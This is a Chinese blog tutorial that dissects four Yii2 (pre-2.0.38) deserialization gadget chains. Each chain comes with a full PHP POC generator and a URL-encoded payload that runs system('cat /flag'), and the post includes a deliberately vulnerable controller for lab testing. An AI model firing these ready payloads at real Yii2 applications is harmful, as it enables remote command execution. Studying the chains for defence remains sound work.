php_yii2框架反序列化链

发布于 2025-10-09 · 技术


简介

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload

环境搭建

在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本 /basic/config/web.php的cookieValidationKey随便给点值,比如

'cookieValidationKey' => '111',

新建一个控制器 /basic/controllers/TestController.php

<?php  
namespace app\controllers;  
use yii\web\Controller;  
  
class TestController extends Controller{  
    public function actionTest($name){  
        return unserialize($name);  
        // phar 
    }  
}

运行php yii serve

┌──(kali㉿kali)-[~/yii-basic-app-2.0.37/basic]
└─$ php yii serve
Server started on http://localhost:8080/
Document root is "/home/kali/yii-basic-app-2.0.37/basic/web"
Quit the server with CTRL-C or COMMAND-C.
[Wed Oct  8 03:48:59 2025] PHP 8.2.10 Development Server (http://localhost:8080) started

就可以进行测试了

链子

链一

第一环:BatchQueryResult::__destruct()

链的入口在 yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php:79-83

/**  
 * Destructor.  
 */  
public function __destruct()  
{  
    // make sure cursor is closed  
    $this->reset();  
}

当对象被销毁时(反序列化后脚本结束),自动调用 __destruct(),这个方法调用了 $this->reset()

第二环:BatchQueryResult::reset()

vendor/yiisoft/yii2/db/BatchQueryResult.php:89-92 跟进$this->reset();

/**  
 * Resets the batch query.  
 * This method will clean up the existing batch query so that a new batch query can be performed.  
 */  
public function reset()  
{  
    if ($this->_dataReader !== null) {  
        $this->_dataReader->close();  
    }  
    $this->_dataReader = null;  
    $this->_batch = null;  
    $this->_value = null;  
    $this->_key = null;  
}

$_dataReader是私有属性,但可以通过序列化控制,让 $_dataReader 指向一个没有 close() 方法但有 __call() 魔术方法的对象

第三环:Faker\Generator::__call()

在vendor/fzaninotto/faker/src/Faker/Generator.php:283-292

/**  
 * @param string $method  
 * @param array $attributes  
 *  
 * @return mixed  
 */  
public function __call($method, $attributes)  
{  
    return $this->format($method, $attributes);  
}

$method = 'close' (因为调用了不存在的 close() 方法),$attributes = [] (空数组,因为 close() 没传参数) Faker\Generator 类没有 close() 方法,当调用不存在的方法时,PHP 会触发 __call() 魔术方法,将调用转发到 format() 方法

第四环:Faker\Generator::format()

vendor/fzaninotto/faker/src/Faker/Generator.php:226-229

public function format($formatter, $arguments = array())  
{  
    return call_user_func_array($this->getFormatter($formatter), $arguments);  
}

继续看 getFormatter()

/**  
 * @param string $formatter  
 *  
 * @return Callable  
 */  
public function getFormatter($formatter)  
{  
    if (isset($this->formatters[$formatter])) {  
        return $this->formatters[$formatter];   // 直接返回  
    }  
    foreach ($this->providers as $provider) {  
        if (method_exists($provider, $formatter)) {  
            $this->formatters[$formatter] = array($provider, $formatter);  
  
            return $this->formatters[$formatter];
        }  
    }  
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));  
}

format() 调用 getFormatter('close') getFormatter函数实现了,如果 $formatters['close'] 存在,直接返回它的值,然后用 call_user_func_array() 执行返回的值,$formatters 是 protected 属性,可以通过序列化控制 执行流程:

// 假设我们设置了:
$formatters['close'] = [CreateAction对象, 'run']

// 那么会执行:
call_user_func_array([CreateAction对象, 'run'], [])
// 等价于:
CreateAction对象->run()

第五环:CreateAction::run()

vendor/yiisoft/yii2/rest/CreateAction.php:40-44

/**  
 * Creates a new model.  
 * @return \yii\db\ActiveRecordInterface the model newly created  
 * @throws ServerErrorHttpException if there is any error when creating the model  
 */  
public function run()  
{  
    if ($this->checkAccess) {  //  $checkAccess 是否存在
        call_user_func($this->checkAccess, $this->id);  // RCE点
    }  
  
    /* @var $model \yii\db\ActiveRecord */  
    $model = new $this->modelClass([  
        'scenario' => $this->scenario,  
    ]);  
  
    $model->load(Yii::$app->getRequest()->getBodyParams(), '');  
    if ($model->save()) {  
        $response = Yii::$app->getResponse();  
        $response->setStatusCode(201);  
        $id = implode(',', array_values($model->getPrimaryKey(true)));  
        $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));  
    } elseif (!$model->hasErrors()) {  
        throw new ServerErrorHttpException('Failed to create the object for unknown reason.');  
    }  
  
    return $model;  
}

$checkAccess 和 $id 都是 public 属性,可控

// CreateAction 类的属性
class CreateAction extends Action
{
    public $checkAccess;  // 可控
    public $id;           // 可控
    // ...
}
<?php
/**
 * 链一: BatchQueryResult->Faker\Generator->CreateAction
 *
 * 调用链:
 * BatchQueryResult::__destruct()
 *   -> $this->reset()
 *   -> $this->_dataReader->close()
 *   -> Faker\Generator::__call('close', [])
 *   -> $this->format('close', [])
 *   -> call_user_func_array($this->getFormatter('close'), [])
 *   -> 执行 CreateAction::run()
 *   -> call_user_func($this->checkAccess, $this->id)
 *   -> system('whoami')
 */

namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}

namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}

namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess, $id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}

namespace {
    // 创建执行命令的 CreateAction 对象
    $c = new yii\rest\CreateAction('system', 'cat /flag');

    // 创建 Faker\Generator 对象,将 close 方法映射到 CreateAction::run
    $b = new Faker\Generator(array('close' => array($c, 'run')));

    // 创建 BatchQueryResult 作为入口
    $a = new yii\db\BatchQueryResult($b);

    // 输出 URL 编码的序列化字符串
    echo "链一 POC (URL编码):\n";
    echo urlencode(serialize($a));
}
?>
┌──(kali㉿kali)-[~]
└─$ php 1.php
链一 POC (URL编码):
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D

然后传?r=test/test&name=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D

链一:需要 fzaninotto/faker 库

链2

链二与链一的区别

链一的路径:

BatchQueryResult → Faker\Generator (没有close方法,触发__call) → CreateAction

链二的路径:

BatchQueryResult → DbSession (有close方法!) → CreateAction 关键区别:

  • 链一:利用 Faker\Generator 没有 close() 方法,触发 __call() 魔术方法
  • 链二:利用 DbSession 有 close() 方法,直接调用

第一环和第二环(与链一相同)

这两步和链一完全一样: BatchQueryResult::__destruct() → 调用 reset()

/**  
 * Destructor.  
 */  
public function __destruct()  
{  
    // make sure cursor is closed  
    $this->reset();  
}

BatchQueryResult::reset() → 调用 $_dataReader->close()

/**  
 * Resets the batch query.  
 * This method will clean up the existing batch query so that a new batch query can be performed.  
 */  
public function reset()  
{  
    if ($this->_dataReader !== null) {  
        $this->_dataReader->close();  
    }  
    $this->_dataReader = null;  
    $this->_batch = null;  
    $this->_value = null;  
    $this->_key = null;  
}

不同之处:这次 $_dataReader 指向 DbSession 对象

第三环:DbSession::close()

vendor/yiisoft/yii2/web/DbSession.php:146-153

/**  
 * Ends the current session and store session data.  
 * @since 2.0.17  
 */  
public function close()  
{  
    if ($this->getIsActive()) {  
        // prepare writeCallback fields before session closes  
        $this->fields = $this->composeFields();  
        YII_DEBUG ? session_write_close() : @session_write_close();  
    }  
}

DbSession 有 close() 方法(不同于链一) 第150行调用 $this->composeFields()``getIsActive() 检查 session 是否激活,session 通常在反序列化发生之前就已经被启动了,基本上都满足。 调用了 composeFields(),跟过去

第四环:MultiFieldSession::composeFields()

vendor/yiisoft/yii2/web/MultiFieldSession.php:96-106

/**  
 * Composes storage field set for session writing.  
 * @param string $id Optional session id  
 * @param string $data Optional session data  
 * @return array storage fields  
 */  
protected function composeFields($id = null, $data = null)  
{  
    $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];  
    if ($id !== null) {  
        $fields['id'] = $id;  
    }  
    if ($data !== null) {  
        $fields['data'] = $data;  
    }  
    return $fields;  
}

第98行执行 call_user_func($this->writeCallback, $this) $this->writeCallback:可控(public 属性) $this:当前 DbSession 对象(不可控,是固定参数) 能控制调用什么函数,但参数是固定的对象,用数组形式的回调

$this->writeCallback = [CreateAction对象, 'run'];
// 执行时:
call_user_func([CreateAction对象, 'run'], DbSession对象);
// 等价于:
CreateAction对象->run(DbSession对象);

虽然 run() 方法会收到一个参数(DbSession对象),但 run() 方法不使用任何参数,所以不影响执行

第五环:CreateAction::run()(与链一相同)

vendor/yiisoft/yii2/rest/CreateAction.php:40-44

/**  
 * Creates a new model.  
 * @return \yii\db\ActiveRecordInterface the model newly created  
 * @throws ServerErrorHttpException if there is any error when creating the model  
 */  
public function run()  
{  
    if ($this->checkAccess) {  //  $checkAccess 是否存在
        call_user_func($this->checkAccess, $this->id);  // RCE点
    }  
  
    /* @var $model \yii\db\ActiveRecord */  
    $model = new $this->modelClass([  
        'scenario' => $this->scenario,  
    ]);  
  
    $model->load(Yii::$app->getRequest()->getBodyParams(), '');  
    if ($model->save()) {  
        $response = Yii::$app->getResponse();  
        $response->setStatusCode(201);  
        $id = implode(',', array_values($model->getPrimaryKey(true)));  
        $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));  
    } elseif (!$model->hasErrors()) {  
        throw new ServerErrorHttpException('Failed to create the object for unknown reason.');  
    }  
  
    return $model;  
}

$checkAccess 和 $id 都是 public 属性,可控

// CreateAction 类的属性
class CreateAction extends Action
{
    public $checkAccess;  // 可控
    public $id;           // 可控
    // ...
}

poc

<?php  
/**  
 * 链二: BatchQueryResult->DbSession->CreateAction  
 *  
 * 调用链:  
 * BatchQueryResult::__destruct()  
 *   -> $this->reset()  
 *   -> $this->_dataReader->close()  
 *   -> DbSession::close()  
 *   -> $this->composeFields()  
 *   -> call_user_func($this->writeCallback, $this)  
 *   -> CreateAction::run()  
 *   -> call_user_func($this->checkAccess, $this->id)  
 *   -> system('whoami')  
 */  
  
namespace yii\db{  
    class BatchQueryResult{  
        private $_dataReader;  
        public function __construct($_dataReader) {  
            $this->_dataReader = $_dataReader;  
        }  
    }  
}  
  
namespace yii\web{  
    class DbSession{  
        public $writeCallback;  
        public function __construct($writeCallback) {  
            $this->writeCallback = $writeCallback;  
        }  
    }  
}  
  
namespace yii\rest{  
    class CreateAction{  
        public $checkAccess;  
        public $id;  
        public function __construct($checkAccess, $id){  
            $this->checkAccess = $checkAccess;  
            $this->id = $id;  
        }  
    }  
}  
  
namespace {  
    // 创建执行命令的 CreateAction 对象  
    $c = new yii\rest\CreateAction('system', 'cat /flag');  
  
    // 创建 DbSession 对象,设置 writeCallback  
    $b = new yii\web\DbSession(array($c, 'run'));  
  
    // 创建 BatchQueryResult 作为入口  
    $a = new yii\db\BatchQueryResult($b);  
  
    // 输出 URL 编码的序列化字符串  
    echo "链二 POC (URL编码):\n";  
    echo urlencode(serialize($a));  
}
┌──(kali㉿kali)-[~]
└─$ php 1.php         
链二 POC (URL编码):
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cweb%5CDbSession%22%3A1%3A%7Bs%3A13%3A%22writeCallback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D

链二:只需要 Yii2 核心库

链3

Yii2 2.0.38 的修复破坏了链一和链二:

// BatchQueryResult.php (2.0.38+)
public function __wakeup()
{
    $this->_dataReader = null;  // 清空
}
  • unserialize() 时会先调用 __wakeup()
  • __wakeup() 把 $_dataReader 清空为 null
  • 然后才调用 __destruct()
  • 结果:reset() 中的判断失败,不会执行 close()
public function reset()
{
    if ($this->_dataReader !== null) {  // 永远是 null
        $this->_dataReader->close();    // 不会执行
    }
}

这时候就需要找一个新的入口点,不使用 BatchQueryResult

第一环:RunProcess::__destruct()

vendor/codeception/codeception/ext/RunProcess.php:93

public function __destruct()
{
    $this->stopProcess();
}

有 __destruct() 方法,没有 __wakeup() 方法。 跟进看stopProcess()

第二环:RunProcess::stopProcess

vendor/codeception/codeception/ext/RunProcess.php:98-109

public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        if (!$process->isRunning()) {  // 关键第102行
            continue;
        }
        $process->stop();
    }
}

$this->processes 是一个数组,存储进程对象, 遍历数组,调用每个元素的 isRunning() 方法。 利用点:把数组元素替换成没有 isRunning() 方法的对象

// 正常使用(管理进程)
$processes = [
    Process对象1,  // 有 isRunning() 方法
    Process对象2,  // 有 isRunning() 方法
];

// 利用
$processes = [
    Generator对象,  // 没有 isRunning() 方法,触发 __call()
];

第三环:Generator::__call('isRunning', [])

vendor/fzaninotto/faker/src/Faker/Generator.php:283-292

/**  
 * @param string $method  
 * @param array $attributes  
 *  
 * @return mixed  
 */  
public function __call($method, $attributes)  
{  
    return $this->format($method, $attributes);  // 第三步:转发到 format() 方法
}

$method = 'isRunning'(调用的方法名) $attributes = [](方法参数,此处为空) 这里和链一是一样的,就是参数名字不一样

链调用的方法__call 参数
链一$generator->close()__call('close', [])
链三$generator->isRunning()__call('isRunning', [])

第四环:Generator::format('isRunning', [])

vendor/fzaninotto/faker/src/Faker/Generator.php:226-229

public function format($formatter, $arguments = array())  
{  
    return call_user_func_array($this->getFormatter($formatter), $arguments);  
}

$formatter = 'isRunning' $arguments = [](空数组 继续看 getFormatter()

/**  
 * @param string $formatter  
 *  
 * @return Callable  
 */  
public function getFormatter($formatter)  
{  
    if (isset($this->formatters[$formatter])) {  
        return $this->formatters[$formatter];   // 直接返回  
    }  
    foreach ($this->providers as $provider) {  
        if (method_exists($provider, $formatter)) {  
            $this->formatters[$formatter] = array($provider, $formatter);  
  
            return $this->formatters[$formatter];
        }  
    }  
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));  
}

执行流程:

$this->getFormatter('isRunning')
  ↓
$this->formatters['isRunning']  // 获取存储的回调
  ↓
call_user_func_array($callback, [])  // 执行回调,无参数

我们可以通过序列化控制 $formatters['isRunning'] 的值:

$generator = new Faker\Generator();
$generator->formatters = [
    'isRunning' => [new CreateAction(), 'run']  // ← 回调指向 CreateAction::run
];

第五环:CreateAction::run()

vendor/yiisoft/yii2/rest/CreateAction.php:40-44

/**  
 * Creates a new model.  
 * @return \yii\db\ActiveRecordInterface the model newly created  
 * @throws ServerErrorHttpException if there is any error when creating the model  
 */  
public function run()  
{  
    if ($this->checkAccess) {  //  $checkAccess 是否存在
        call_user_func($this->checkAccess, $this->id);  // RCE点
    }  
  
    /* @var $model \yii\db\ActiveRecord */  
    $model = new $this->modelClass([  
        'scenario' => $this->scenario,  
    ]);  
  
    $model->load(Yii::$app->getRequest()->getBodyParams(), '');  
    if ($model->save()) {  
        $response = Yii::$app->getResponse();  
        $response->setStatusCode(201);  
        $id = implode(',', array_values($model->getPrimaryKey(true)));  
        $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));  
    } elseif (!$model->hasErrors()) {  
        throw new ServerErrorHttpException('Failed to create the object for unknown reason.');  
    }  
  
    return $model;  
}

$checkAccess 和 $id 都是 public 属性,可控

// CreateAction 类的属性
class CreateAction extends Action
{
    public $checkAccess;  // 可控
    public $id;           // 可控
    // ...
}

poc

<?php  
/**  
 * 链三: RunProcess->Faker\Generator->CreateAction  
 * 此链用于绕过 Yii2 2.0.38 中 BatchQueryResult 添加的 __wakeup 限制  
 *  
 * 调用链:  
 * RunProcess::__destruct()  
 *   -> $this->stopProcess()  
 *   -> $process->isRunning()  (遍历 $this->processes)  
 *   -> Faker\Generator::__call('isRunning', [])  
 *   -> $this->format('isRunning', [])  
 *   -> call_user_func_array($this->getFormatter('isRunning'), [])  
 *   -> 执行 CreateAction::run()  
 *   -> call_user_func($this->checkAccess, $this->id)  
 *   -> system('whoami')  
 */  
  
namespace Codeception\Extension{  
    class RunProcess{  
        private $processes = [];  
        public function __construct($processes) {  
            $this->processes[] = $processes;  
        }  
    }  
}  
  
namespace Faker{  
    class Generator{  
        protected $formatters = array();  
        public function __construct($formatters) {  
            $this->formatters = $formatters;  
        }  
    }  
}  
  
namespace yii\rest{  
    class CreateAction{  
        public $checkAccess;  
        public $id;  
        public function __construct($checkAccess, $id){  
            $this->checkAccess = $checkAccess;  
            $this->id = $id;  
        }  
    }  
}  
  
namespace {  
    // 创建执行命令的 CreateAction 对象  
    $c = new yii\rest\CreateAction('system', 'cat /flag');  
  
    // 创建 Faker\Generator 对象,将 isRunning 方法映射到 CreateAction::run  
    $b = new Faker\Generator(array('isRunning' => array($c, 'run')));  
  
    // 创建 RunProcess 作为入口  
    $a = new Codeception\Extension\RunProcess($b);  
  
    // 输出 URL 编码的序列化字符串  
    echo "链三 POC (URL编码):\n";  
    echo urlencode(serialize($a));  
}
┌──(kali㉿kali)-[~]
└─$ php 1.php
链三 POC (URL编码):
O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A1%3A%7Bs%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A9%3A%22isRunning%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D

链4

第一环:DiskKeyCache::__destruct()

入口 vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php:289-294

    /**  
     * Destructor.  
     */  
    public function __destruct()  
    {  
        foreach ($this->keys as $nsKey => $null) {  
            $this->clearAll($nsKey);  
        }  
    }  
}

vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php:46

    private $keys = [];

$this->keys 是 private 数组,可以通过序列化控制

第二环:DiskKeyCache::clearAll()

/**  
 * Clear all data in the namespace $nsKey if it exists.  
 *  
 * @param string $nsKey  
 */  
public function clearAll($nsKey)
{
    // 第1行:检查 $keys 数组中是否存在 $nsKey 这个键
    // $this->keys 是一个二维数组,结构:['namespace1' => ['item1' => ..., 'item2' => ...]]
    if (array_key_exists($nsKey, $this->keys)) {

        // 第2行:遍历该命名空间下的所有项
        // $this->keys[$nsKey] 是一个数组,包含该命名空间下的所有缓存项
        // foreach 语法:foreach ($array as $key => $value)
        // 这里 $itemKey 是每个缓存项的键名,$null 是对应的值(这里值被忽略,只用键名)
        foreach ($this->keys[$nsKey] as $itemKey => $null) {

            // 第3行:清除单个缓存项
            // 调用 clearKey() 方法删除指定命名空间下的指定项
            // 例如:clearKey('session', 'user123')
            $this->clearKey($nsKey, $itemKey);
        }

        // 第4行:检查文件系统中是否存在该命名空间对应的目录
        // $this->path 是缓存文件存储的根目录(如:/tmp/swiftmailer)
        // 完整路径示例:/tmp/swiftmailer/session
        if (is_dir($this->path.'/'.$nsKey)) { // 关键触发点:如果$nsKey是一个对象,PHP 会自动调用该对象的__toString()方法将对象转换为字符串。

            // 第5行:删除该命名空间对应的目录
            // rmdir() 只能删除空目录(前面已经清空了所有文件)
            rmdir($this->path.'/'.$nsKey);
        }

        // 第6行:从内存中的 $keys 数组中移除该命名空间
        // 释放 PHP 内存,清理数据结构
        unset($this->keys[$nsKey]);
    }
}

$nsKey传一个对象,触发__toString()

__toString() 魔术方法

class Example {
    public function __toString() {
        return "这是一个对象";
    }
}

$obj = new Example();
echo $obj;              // 输出:这是一个对象
echo "前缀" . $obj;     // 输出:前缀这是一个对象
触发时机
  1. echo $obj;
  2. (string)$obj;
  3. 字符串拼接:"text" . $obj ← 链四利用的方式
  4. sprintf("%s", $obj);
  5. 等任何需要字符串的地方

第三环:XmlBuilder::__toString()

vendor/codeception/codeception/src/Codeception/Util/XmlBuilder.php:165-168

public function __toString()  
{  
    return $this->__dom__->saveXML();  
}

作用将 XML DOM 对象转换为字符串 $this->__dom__ 是 protected 属性,可以通过序列化控制 利用思路:让 $__dom__ 指向一个没有 saveXML() 方法但有 __call() 魔术方法的对象

第四环:Faker\Generator::__call()

第四环到第六环:与链一、链三类似 在vendor/fzaninotto/faker/src/Faker/Generator.php:283-292

/**  
 * @param string $method  
 * @param array $attributes  
 *  
 * @return mixed  
 */  
public function __call($method, $attributes)  
{  
    return $this->format($method, $attributes);  
}

$method = 'saveXML' (因为调用了不存在的 saveXML() 方法),$attributes = [] Faker\Generator 类没有 saveXML() 方法,当调用不存在的方法时,PHP 会触发 __call() 魔术方法,将调用转发到 format() 方法

第五环:Faker\Generator::format()

vendor/fzaninotto/faker/src/Faker/Generator.php:226-229

public function format($formatter, $arguments = array())  
{  
    return call_user_func_array($this->getFormatter($formatter), $arguments);  
}

继续看 getFormatter()

/**  
 * @param string $formatter  
 *  
 * @return Callable  
 */  
public function getFormatter($formatter)  
{  
    if (isset($this->formatters[$formatter])) {  
        return $this->formatters[$formatter];   // 直接返回  
    }  
    foreach ($this->providers as $provider) {  
        if (method_exists($provider, $formatter)) {  
            $this->formatters[$formatter] = array($provider, $formatter);  
  
            return $this->formatters[$formatter];
        }  
    }  
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));  
}

format() 调用 getFormatter('saveXML') getFormatter函数实现了,如果 $formatters['saveXML'] 存在,直接返回它的值,然后用 call_user_func_array() 执行返回的值,$formatters 是 protected 属性,可以通过序列化控制 执行流程:

// 假设我们设置了:
$formatters['saveXML'] = [CreateAction对象, 'run']

// 那么会执行:
call_user_func_array([CreateAction对象, 'run'], [])
// 等价于:
CreateAction对象->run()

第六环:CreateAction::run()

vendor/yiisoft/yii2/rest/CreateAction.php:40-44

/**  
 * Creates a new model.  
 * @return \yii\db\ActiveRecordInterface the model newly created  
 * @throws ServerErrorHttpException if there is any error when creating the model  
 */  
public function run()  
{  
    if ($this->checkAccess) {  //  $checkAccess 是否存在
        call_user_func($this->checkAccess, $this->id);  // RCE点
    }  
  
    /* @var $model \yii\db\ActiveRecord */  
    $model = new $this->modelClass([  
        'scenario' => $this->scenario,  
    ]);  
  
    $model->load(Yii::$app->getRequest()->getBodyParams(), '');  
    if ($model->save()) {  
        $response = Yii::$app->getResponse();  
        $response->setStatusCode(201);  
        $id = implode(',', array_values($model->getPrimaryKey(true)));  
        $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));  
    } elseif (!$model->hasErrors()) {  
        throw new ServerErrorHttpException('Failed to create the object for unknown reason.');  
    }  
  
    return $model;  
}

$checkAccess 和 $id 都是 public 属性,可控

// CreateAction 类的属性
class CreateAction extends Action
{
    public $checkAccess;  // 可控
    public $id;           // 可控
    // ...
}

poc

<?php  
/**  
 * 链四: DiskKeyCache->XmlBuilder->Faker\Generator->CreateAction  
 * 此链利用字符串拼接触发 __toString  
 *  
 * 调用链:  
 * Swift_KeyCache_DiskKeyCache::__destruct()  
 *   -> $this->clearAll($nsKey)  
 *   -> is_dir($this->path.'/'.$nsKey)  (字符串拼接)  
 *   -> XmlBuilder::__toString()  
 *   -> $this->__dom__->saveXML()  
 *   -> Faker\Generator::__call('saveXML', [])  
 *   -> $this->format('saveXML', [])  
 *   -> call_user_func_array($this->getFormatter('saveXML'), [])  
 *   -> 执行 CreateAction::run()  
 *   -> call_user_func($this->checkAccess, $this->id)  
 *   -> system('whoami')  
 */  
  
namespace {  
    class Swift_KeyCache_DiskKeyCache{  
        private $path;  
        private $keys = [];  
        public function __construct($path, $keys) {  
            $this->path = $path;  
            $this->keys = $keys;  
        }  
    }  
}  
  
namespace Codeception\Util{  
    class XmlBuilder{  
        protected $__dom__;  
        public function __construct($__dom__) {  
            $this->__dom__ = $__dom__;  
        }  
    }  
}  
  
namespace Faker{  
    class Generator{  
        protected $formatters = array();  
        public function __construct($formatters) {  
            $this->formatters = $formatters;  
        }  
    }  
}  
  
namespace yii\rest{  
    class CreateAction{  
        public $checkAccess;  
        public $id;  
        public function __construct($checkAccess, $id){  
            $this->checkAccess = $checkAccess;  
            $this->id = $id;  
        }  
    }  
}  
  
namespace {  
    // 创建执行命令的 CreateAction 对象  
    $c = new yii\rest\CreateAction('system', 'cat /flag');  
  
    // 创建 Faker\Generator 对象,将 saveXML 方法映射到 CreateAction::run  
    $b = new Faker\Generator(array('saveXML' => array($c, 'run')));  
  
    // 创建 XmlBuilder 对象,用于触发 __toString  
    $a = new Codeception\Util\XmlBuilder($b);  
  
    // 创建 DiskKeyCache 作为入口  
    $d = new Swift_KeyCache_DiskKeyCache($a, array('kawhi' => 'kawhi'));  
  
    // 输出 URL 编码的序列化字符串  
    echo "链四 POC (URL编码):\n";  
    echo urlencode(serialize($d));  
    echo "\n\n";  
  
    // 输出原始序列化字符串  
    echo "链四 POC (原始):\n";  
    echo serialize($d);  
    echo "\n\n";  
  
    // 生成访问 URL  
    echo "访问链接:\n";  
    echo "?r=test/test&name=" . urlencode(serialize($d));  
    echo "\n";  
}
┌──(kali㉿kali)-[~]
└─$ php 1.php
链四 POC (URL编码):
O%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A33%3A%22%00Swift_KeyCache_DiskKeyCache%00path%22%3BO%3A27%3A%22Codeception%5CUtil%5CXmlBuilder%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00__dom__%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A7%3A%22saveXML%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7Ds%3A33%3A%22%00Swift_KeyCache_DiskKeyCache%00keys%22%3Ba%3A1%3A%7Bs%3A5%3A%22kawhi%22%3Bs%3A5%3A%22kawhi%22%3B%7D%7D

« 返回首页